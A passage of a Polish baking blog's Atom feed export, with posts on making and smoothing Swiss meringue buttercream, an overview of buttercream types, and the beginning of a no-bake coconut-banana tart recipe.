do dzieła!&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo3Go4GEL3W8zzTFKeaxhcx7SKvhmmu0p6GRvwhm8cGFn7AtOzQskjKW4PL710dQSLAyEIzmAiSFY79yvC9Uwn8kqWmNsYONWNjT8TSuE3wD-o5JC3v62XLSfNwN226AWET_y04jUe540/s1600/44922092714_bef096d45f_k.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1600&quot; data-original-width=&quot;1068&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo3Go4GEL3W8zzTFKeaxhcx7SKvhmmu0p6GRvwhm8cGFn7AtOzQskjKW4PL710dQSLAyEIzmAiSFY79yvC9Uwn8kqWmNsYONWNjT8TSuE3wD-o5JC3v62XLSfNwN226AWET_y04jUe540/s1600/44922092714_bef096d45f_k.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Róże z kremu maślanego SMBC&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Nie będę się tutaj skupiać na recepturze, ponieważ &lt;b&gt;krem maślany na bezie szwajcarskiej&lt;/b&gt; (SMBC) to bardzo kapryśny twór, co nie oznacza, że trzeba się go bać. Dlatego nie rezygnujcie w przedbiegach, nie mówcie, że to nie dla mnie, że nie macie takich zdolności. Bzdura. Do kremu maślanego na&amp;nbsp; bezie potrzebna jest... wprawa. Dalej będzie już tylko o tego rodzaju kremie, a więc pisząc buttercream czy krem, będzie mowa o tym konkretnym na bezie.&lt;br /&gt;
&lt;br /&gt;
Żeby nie było, że się wymądrzam. Pierwszy &lt;i&gt;buttercream SMBC&amp;nbsp;&lt;/i&gt;przygotowałam z filmiku z proporcji 1:2:3 (poprzedni post) na początku tego roku. To wtedy założyłam sobie, że go opanuję. Studiowałam dziesiątki filmików na YT, wpisów na blogu i oczywiście obłożyłam nim wiele tortów. Po pierwszych sukcesach i porażkach zaczęłam się zastanawiać, co mogę jeszcze zrobić, żeby było lepiej. Takie pytanie, chyba każda z nas ciągle sobie zadaje. Każdy kolejny mogę porównać do mini siłowni i to w dodatku na zmianę z mężem. Pewnie będziecie się śmiać albo nie uwierzycie, ale w pierwszych kremach zawsze pomagał mi na tym etapie mąż, bo ręce mi więdły. Ten moment, to ciągłe ubijanie na parze, które później okazało się niepotrzebne. Tak nastała&lt;b&gt;&amp;nbsp;pierwsza chwila oświecenia&lt;/b&gt;. Okazało się, że białka z cukrem wystarczy tylko mieszać na parze np. widelcem. Chodzi o to, żeby utrzymywać je w ruchu, co uniemożliwi ścięcie się białek do momentu uzyskania temperatury 60C. I tyle! Koniec siłowni bicepsów i szaleńczego merdania rózgą kuchenną :-)&lt;br /&gt;
&lt;br /&gt;
Później nadeszło pytanie: jak to wygładzić? Nie perfekcyjnie, ale na początek dobrze.&lt;br /&gt;
&lt;h3&gt;
Od czego zależy gładkość kremu maślanego SMBC?&lt;/h3&gt;
&lt;div&gt;
Najważniejszym czynnikiem od którego zależy gęstość i gładkość kremu maślanego jest &lt;b&gt;temperatura&lt;/b&gt;. Temperatura nie tylko podczas samego przygotowania, ale również temperatura otoczenia, w którym krem jest przygotowywany. Latem pierwsze trudności spotkamy już na etapie chłodzenia ubijanej bezy. Ogólnie wysoka temperatura powietrza będzie nam utrudniać ten proces. Będzie ono trwało dłużej lub możemy pomóc sobie obkładając dzierżę schłodzonymi plastikowymi wkładami lub żelami do okładów. Oczywiście nie przesadzamy z tym, nie przyspieszamy gwałtownie ochładzania, a jednocześnie czas od czasu kontrolujemy temperaturę ubijanej bezy. U mnie wystarczą dwa schłodzone wkłady, które stawiam tuż przy dzierży w momencie kiedy beza jest już biała, a na jej powierzchni widać pierwsze, zawijające się za rózgą wypukłości. Profesjonalnie rzecz ujmując jest to etap miękkich szczytów czy coś w tym stylu. Jednak nie martwcie się nie musicie się w ten punkt wstrzelić z zegarmistrzowską precyzją. Chodzi o to, żeby beza była już poniekąd dobrze ubita, wtedy czas na wspomaganie ochładzania, jeśli proces wydłuża się w niesprzyjających warunkach. Jesienią lub zimą zupełnie tego nie potrzebuję.&amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
To do jakiej temperatury schłodzimy naszą bezę przed dodaniem masła i sama temperatura masła wpłyną na to, jaki otrzymamy krem. Założeniem jest miękkie masło, ale co właściwie oznacza miękkie? Jedni mówią, że musi leżeć kilka godzin w temperaturze pokojowej inni, że musi być tak miękkie, aby można było w nie wcisnąć bez trudu palec. Miękkie oznaczać może co innego, bo w końcu temperatura pokojowa zmienia się nam w zależności od pory roku. Chyba, że mamy klimę, to wtedy co innego, ale piszę tu wyłącznie jako mama-amator, więc pozostańmy przy najczęściej spotykanym środowisku domowym. Tak czy inaczej sprawa masła będzie w przygotowaniu stanowić niewielką zmienną.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Druga sprawa to schłodzenie bezy. Do jakiej temperatury? Często spotykałam się z określenie, żeby misa miksera nie była ciepła w dotyku. Mnóstwo, mnóstwo czynników. Pewnie się już Wam w głowie gotuje, jak ja to wszystko ogarnę. Spokojnie. Bezę ochładzam w zależności od miękkości masła i temperatury otoczenia do 32-35C. Wtedy zaczynam dodawać masło. Oczywiście różnie z tym bywa czasami jest chłodniejsze w środku i krem wymaga zdecydowanie dłuższego miksowania pod koniec lub schłodzenia w lodówce jeśli jest minimalnie za rzadki. Jednocześnie są to &lt;b&gt;sposoby na naprawienie kremu maślanego&lt;/b&gt;.&amp;nbsp;&lt;/div&gt;
&lt;h3&gt;
Jak oswoić krem maślany na bezie szwajcarskiej?&lt;/h3&gt;
&lt;div&gt;
Najprościej jest sobie pomyśleć o kremie maślanym jakbyśmy myśleli o samym maśle, ponieważ mają wiele podobnych właściwości. Ciepłe masło jest bardziej lejące, ale też gładsze i lśniące. Zimne schłodzone po ubiciu jest trwalsze, zamyka w sobie powietrze i jest bardziej matowe. Trudno jest je też rozsmarować. To jest oczywiste. Najlepsze jest jednak to, że gładkie można schłodzić, a zimne ogrzać. Do czego zmierzam? Otóż dzięki temu, z czasem i każdorazowym oswajaniem się z kremem, po jego obserwacjach podczas przygotowania możecie kontrolować jego konsystencję. Bacznie obserwujcie jak zachowuje się krem, jakie są jego właściwości. Innymi słowy zachęcam Was do eksperymentowania. Nie bójcie się. Może nie na całej porcji, ale jeśli zostają Wam jakieś resztki weźcie spróbujcie ogrzać krem długo mieszając. Sama tak robiłam. Z resztek tworzyłam pierwsze kwiaty, ćwiczyłam na nich malowanie. Wszystko metodą prób.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Najgorszą rzeczą jest to, że na początku zazwyczaj robimy zbyt mocno schłodzony krem. Jest on wtedy pełen zamkniętych bąbli i nieco za bardzo ciągnący podczas rozprowadzania. Zupełnie jak to niezbyt miękkie masło, które musimy rozsmarować na kanapce. Wystarczy wtedy nieco dłużej miksować krem na niskich obrotach z użyciem końcówki do ucierania (nie różgi, bo ta nam będzie wciąż napowietrzać krem).&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Cieplejszy krem podczas mieszania trochę zmniejszy swoją objętość, ale za to zobaczycie, że zrobi się satynowy, właściwie nie będzie miał bąbelków i stanie się delikatnie lśniący. Kontrolujemy stopień gładkości do pożądanych rezultatów. Oczywiście zbyt ciepły krem nie będzie gotowy do tworzenia kwiatów maślanych, ale &lt;b&gt;bez paniki&lt;/b&gt;. Ręczne mieszanie czy też bardzo powolne miksowanie jest o tyle bezpieczne, że nie przegrzejemy kremu, bo co najwyżej ogrzejemy go maksymalnie np. od naszych rąk trzymających miskę do temperatury ciała.&amp;nbsp;Wystarczy go włożyć do lodówki na 10-15 minut lub osiągnięcia większej stabilności. Faktura i brak bąbelków pozostanie, a schłodzenie pozwoli osiągnąć większą stabilność i gotowość do tworzenia gładkich dekoracji.&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Innym sposobem na poznanie kremu jest jego przechowywanie w lodówce i ponowne przywrócenie go do łask użyteczności. W końcu każdego prędzej czy później to czeka. Pracę można sobie podzielić. Choć dla niektórych to kolejny stres. Opanowanie tego manewru przydaje się, kiedy ostateczną dekorację odkładamy na drugi dzień. W moim przypadku tak było z kwiatami, ponieważ tort tynkuję wieczór wcześniej po przełożeniu. Na drugi dzień nakładam dekorację i wówczas pozostają do zrobienia kwiaty oraz listki i uszy, których tutaj jeszcze nie widać (celowo).&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://c2.staticflickr.com/2/1956/31774661068_44acdbe517_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://c2.staticflickr.com/2/1956/31774661068_44acdbe517_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Tort panelowany kremem maślanym na bezie szwajcarskiej z maślanymi różami&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Eksperymenty z kremem maślanym na bezie szwajcarskiej&lt;/b&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Odgrzewaj i ochładzaj.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Mieszaj i odpowietrzaj.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
W komentarzach napiszcie o czym chciałybyście poczytać w następnych wpisach.</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/4778315951165742415/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2018/10/krem-maslany-konsystencja.html#comment-form' title='Komentarze (2)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/4778315951165742415'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/4778315951165742415'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2018/10/krem-maslany-konsystencja.html' title='Jak uzyskać gładki krem maślany?'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo3Go4GEL3W8zzTFKeaxhcx7SKvhmmu0p6GRvwhm8cGFn7AtOzQskjKW4PL710dQSLAyEIzmAiSFY79yvC9Uwn8kqWmNsYONWNjT8TSuE3wD-o5JC3v62XLSfNwN226AWET_y04jUe540/s72-c/44922092714_bef096d45f_k.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-3325360062203989364</id><published>2018-10-10T19:02:00.000+02:00</published><updated>2018-10-10T19:20:04.178+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Ciasta i ciasteczka"/><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><category scheme="http://www.blogger.com/atom/ns#" term="torty"/><title type='text'>Krem maślany - wszystko co powinniście o nim wiedzieć na początek</title><content type='html'>Dziś kilka słów o kremie maślanym, który z powodzeniem zastępuje masę cukrową. Jest o wiele smaczniejszy i można go zrobić własnoręcznie. O tym jak zrobić i co warto wiedzieć o kremie maślanym (ang. &lt;i&gt;buttercream&lt;/i&gt;).&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ2YbfcdDigGihF7yJuTfji1AStTYfUYEHW5mEkZeUeca8qy4OXlrzncUDo8xHp4y1pnVAtI9pJQeDFlqL4oZHLfwQmVGHD54oiiBWpx-utBzr-J7usa5V103xTfXPUCmbOsn2iyGdsu4/s1600/20181005_230503.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;944&quot; data-original-width=&quot;581&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ2YbfcdDigGihF7yJuTfji1AStTYfUYEHW5mEkZeUeca8qy4OXlrzncUDo8xHp4y1pnVAtI9pJQeDFlqL4oZHLfwQmVGHD54oiiBWpx-utBzr-J7usa5V103xTfXPUCmbOsn2iyGdsu4/s1600/20181005_230503.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;h3&gt;
Rodzaje kremu maślanego&lt;/h3&gt;
&lt;div&gt;
Pyszne połączenie masła i cukru. To smak, który chyba każdy z nas pamięta z dzieciństwa. Sama nie pamiętam, kiedy pierwszy raz wylizywałam go z makutry babci, ale pamiętam jego smak jakby to było wczoraj. Ucierało się go wtedy jeszcze w bardzo tradycyjny sposób. Dziś kiedy mamy stacjonarne mikser i planetarne mieszadła możemy go wykonać bez większego wysiłku.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Rozróżniamy kilka rodzajów kremu maślanego.&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Amerykański &lt;/b&gt;(ang. &lt;i&gt;American Buttercream, AMBC&lt;/i&gt;). Najprostszy i najszybszy. To połączenie miękkiego masła (lub kombinacji masła i margaryny lub innego tłuszczu), cukru, ekstraktu z wanilii i odrobiny mleka. Nadaje się do obkładania tortu oraz do wykonywania kwiatów maślanych i innych kremowych dekoracji. Jego największą wadą jest niewątpliwie to, że jest on bardzo słodki.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Cream Cheese Frosting&lt;/b&gt;.&amp;nbsp;Tworzy go miękkie masło, ser śmietankowy, cukier, ekstrakt waniliowy i odrobina mleka. Idealnie sprawdza się do pokrywania babeczek i muffinek, a także jako ich nadzienie. Często wykorzystywany do obkładania tortu Red Velvet Cake. Jest dużo przyjemniejszy pod względem konsystencji niż AMBC. Bardziej gładki i aksamitny. Nie sprawdza się jednak w dłuższej ekspozycji na ciepło. Nie utrzymuje kształtu przez co nie nadaje się do tworzenia maślanych dekoracji.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Na bezie włoskiej &lt;/b&gt;(ang. &lt;i&gt;Italian Meringue Buttercream, IMBC&lt;/i&gt;). Jego przygotowanie wymaga podstawowych umiejętności w zakresie cukiernictwa w związku z koniecznością przygotowania syropu. Wodę i cukier podgrzewa się do temperatury 118C tzw.&amp;nbsp;&amp;nbsp;&lt;i&gt;soft ball&lt;/i&gt;. Brzmi strasznie, ale właściwą temperaturę możecie ocenić bez posiadania termometru. Więcej wskazówek odnośnie tego stadium podgrzewania syropu i sposóbu jego rozpoznania znajdziecie na YouTubie. Jest to jednak dość kłopotliwe dla niewtajemniczonych i może wydawać się trudne. Przygotowany syrop wlewa się cienką strużką do ubijanych białek. Na koniec dodajemy masło i aromat. Ten rodzaj kremu maślanego jest niesamowicie aksamitny, gładki i kremowy podobnie jak krem na bezie szwajcarskiej (SMBC). Jego zaletą jest nieznacznie lepsza trwałość w cieplejszych pomieszczeniach z racji tego, że cukier ubijany jest na ciepło.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Na bezie szwajcarskiej &lt;/b&gt;(ang. &lt;i&gt;Swiss Meringue Buttercream, SMBC&lt;/i&gt;).&amp;nbsp; Najczęściej używany krem do obkładania tortów i wykonywania dekoracji maślanych. To również mój ulubiony krem do tynkowania spośród wymienionych. Wykonany z pasteryzowanych na ciepło białek, cukru, z dodatkiem miękkiego masła i aromatu.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
Jak zrobić krem maślany na bezie szwajcarskiej?&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
W swojej tortowej przygodzie zaczęłam od filmiku na YT na swiss meringue buttercream 1...2...3... Te nie przypadkowe cyferki wskazują proporcje białek, cukru i masła. Dokładnie w tej kolejności 1:2:3. Filmik idealnie pokazuje jak przebiegają kolejne etapy przygotowania.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;iframe allow=&quot;autoplay; encrypted-media&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/uBBoRMWcfNc&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Z czasem przekonałam się, że krem nie musi mieć aż tyle cukru i że nie jest konieczne ubijanie białek w trakcie ich podgrzewania. Z powodzeniem wystarczy tylko mieszać je widelcem i ręce już tak nie bolą ;-)&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Krem jest stabilny, dzięki czemu możemy nim tynkować i dekorować.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c2.staticflickr.com/2/1944/44506069484_46f248a530_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://c2.staticflickr.com/2/1944/44506069484_46f248a530_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
Wskazówki dotyczące kremu maślanego na bezie szwajcarskiej&lt;/h3&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
Jak sprawdzić czy krem maślany jest gotowy?&lt;/h4&gt;
&lt;div&gt;
Krem jest gotowy, kiedy wydaje charakterystyczny chlast podczas ucierania. Możemy też sprawdzić wizualnie czy jest już gładki i gęsty. Jeśli jest &lt;b&gt;zbyt gęsty&lt;/b&gt; należy pozostawić go nieco dłużej do ucierania. Jeśli masło połączyło się, ale krem pozostaje &lt;b&gt;zbyt rzadki &lt;/b&gt;pomoże włożenie dzierży miksera z kremem na 15 minut do lodówki, a następnie kontynuacja ucierania.&amp;nbsp;&lt;/div&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
Jak uzyskać gładki krem bez bąbli i pęcherzyków powietrza?&lt;/h4&gt;
&lt;div&gt;
To często problem początkujących. Cały proces przygotowania SMBC jest często stresujący dla nowicjuszy. Pamiętam, jak dreszczyk adrenaliny podgrzewał atmosferę przed każdym przystąpieniem do przygotowania tego rodzaju kremu maślanego. Pamiętajcie jednak, że zachowanie poszczególnych etapów niemal gwarantuje nam sukces, a wprawa czyni mistrzem.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bąbli nie da się całkowicie pozbyć na etapie ucierania, jednak większości z nich pozbędziemy się, jeśli pozostawimy gotowy krem z końcówką do ucierania na najniższym biegu miksera na kilka minut. Krem stanie się wówczas nieco bardziej aksamitny i gładszy. Nie bójcie się tego. Jeśli wolicie mieć więcej kontroli możecie wymieszać krem ręcznie szpatułką. W moim kremie widać na zdjęciu ze zbliżenia kilka dziurek jednak jest to charakterystyczne i naprawdę niemal niezauważalne.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Podobny efekt uzyskujemy po dodaniu barwnika. Kiedy barwię tylko część kremu dodaję do niego wybrany kolor i mieszam go łyżeczką. Po wstępnym przemieszaniu odstawiam miseczkę, aby barwnik &quot;puścił&quot;. To dobra praktyka, szczególnie w przypadku barwników, które pozostawiają smugi i kropki w początkowym stadium mieszania. Świadczy to o tym, że niezbyt dobrze rozpuszczają się w tłuszczu, ale nie warto się poddawać. Kolory nabierają intensywności z czasem.. &lt;i&gt;so keep going&lt;/i&gt; ;-)&lt;/div&gt;
&lt;h4&gt;
Jak uzyskać bielszy krem maślany?&lt;/h4&gt;
&lt;div&gt;
Pierwsza opcja to użycie białego barwnika lub specjalnego wybielacza. Niektórzy polecają biel tytanową. Druga opcja to wykorzystanie fizyki, a dokładnie wiedzy o świetle. Oczywiste jest, że krem maślany mniej lub bardziej będzie miał kolor masła. Po ubiciu bezy z masłem otrzymujemy masę w kolorze kremowym - od śmietankowej bieli po ecru. Nie ma w tym nic złego. Taki krem w czystej postaci to samo dobro.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Problem pojawia się kiedy powinien być on jednak bardziej biały. W pierwszej opcji pochłonie mnóstwo barwnika/wybielacza. W drugiej wystarczy dodać do kremu bardzo, bardzo malutką ilość barwnika... fioletowego. Zacznij od dodawania go niezwykle ostrożnie dozując go dosłownie końcówką wykałaczki. Lepiej zachować tu umiar, ponieważ barwnik rozprowadza się stopniowo i uwalnia kolor powoli. Jeśli przesadzimy nie będzie już odwrotu i krem stanie się szarawy. Dlatego umiar, umiar i jeszcze raz umiar jest tutaj kluczem do całej tajemnicy.&lt;br /&gt;
&lt;br /&gt;
Macie inne pytania odnośnie kremu maślanego? Śmiało piszcie w komentarzach i na instagramie.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/3325360062203989364/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2018/10/krem-maslany-wszystko-co-powinno-sie-o.html#comment-form' title='Komentarze (11)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/3325360062203989364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/3325360062203989364'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2018/10/krem-maslany-wszystko-co-powinno-sie-o.html' title='Krem maślany - wszystko co powinniście o nim wiedzieć na początek'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ2YbfcdDigGihF7yJuTfji1AStTYfUYEHW5mEkZeUeca8qy4OXlrzncUDo8xHp4y1pnVAtI9pJQeDFlqL4oZHLfwQmVGHD54oiiBWpx-utBzr-J7usa5V103xTfXPUCmbOsn2iyGdsu4/s72-c/20181005_230503.jpg" height="72" width="72"/><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-4557109007351632067</id><published>2018-06-21T22:08:00.001+02:00</published><updated>2018-06-21T22:08:42.942+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Ciasta i ciasteczka"/><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><title type='text'>Kokosowo - bananowa tarta bez pieczenia, czyli raw cake</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Bez pieczenia, czyli &lt;i&gt;raw cake&lt;/i&gt;. Naturalnie słodki, bez dodatku kakao przypomina &lt;i&gt;bounty&lt;/i&gt;, dlatego można je pominąć w spodzie lub nie. Jeśli macie dużo wiórków kokosowych, garść daktyli i trochę orzechów włoskich pora na szybki deser z dużą dozą energii, który przy odrobinie wprawy zajmie 30 minut.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Idealny, kiedy na zewnątrz jest taki upał jak dziś! Uf...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEjaxLJW68KkvVnkUsyM4_SaVSbb0-iE8bpJJk1Wu9Eo9W34Itc1btLDJ9qL4FWaxyrqlul2zu8B3u2fdMcCrP3KYQKg9nHYvT-0qXWXssfsowgctKGRXlIiBfV9I4Rt1fItC9CtwWNrY/s1600/42942090741_e920d8fabc_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;682&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEjaxLJW68KkvVnkUsyM4_SaVSbb0-iE8bpJJk1Wu9Eo9W34Itc1btLDJ9qL4FWaxyrqlul2zu8B3u2fdMcCrP3KYQKg9nHYvT-0qXWXssfsowgctKGRXlIiBfV9I4Rt1fItC9CtwWNrY/s1600/42942090741_e920d8fabc_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;u&gt;&lt;i&gt;składniki (forma 20cm średnicy)&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;
1/2 szklanki daktyli&lt;br /&gt;
1 szklanka orzechów włoskich lub innych&lt;br /&gt;
1 szklanka wiórków kokosowych&lt;br /&gt;
1 łyżka miodu&lt;br /&gt;
2 łyżki kakao (opcjonalnie)&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;i&gt;nadzienie:&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;
3 banany&lt;br /&gt;
3 szklanki wiórków kokosowych&lt;br /&gt;
1/4 szklanki oleju kokosowego&lt;br /&gt;
&lt;br /&gt;
1/4 szklanki miodu lub syropu z agawy&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;u&gt;polewa&lt;/u&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
2 łyżki kakao&lt;/div&gt;
&lt;div&gt;
2 łyżki miodu&lt;/div&gt;
&lt;div&gt;
2 łyżki oleju kokosowego&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania:&lt;/u&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
Daktyle namoczyć w ciepłej wodzie. Odcedzić. Zmiksować w malakserze z pozostałymi składnikami spodu.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Dno tortownicy o średnicy 20cm lub formy na tartę z wyciąganym spodem wyłożyć przygotowaną masą. Dokładnie ubić formują niewielki rant. Schłodzić.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Banany pokroić w grube plasty około 0.7-1cm. Wyłożyć na schłodzony spód.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Wiórka kokosowe na nadzienie zmiksować w malakserze. Powinny być drobniejsze, a niektóre mogą nawet puścić&amp;nbsp; nieco tłuszczu. Dodać pozostałe składniki nadzienia i zmiksować. Jeśli jest zbyt gęsta można dodać kilka łyżek wody. Wyłożyć na warstwę bananów i równomiernie ubić. Sprawdza się przy tym płaska szklanka lub u mnie duża zakrętka od słoja.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
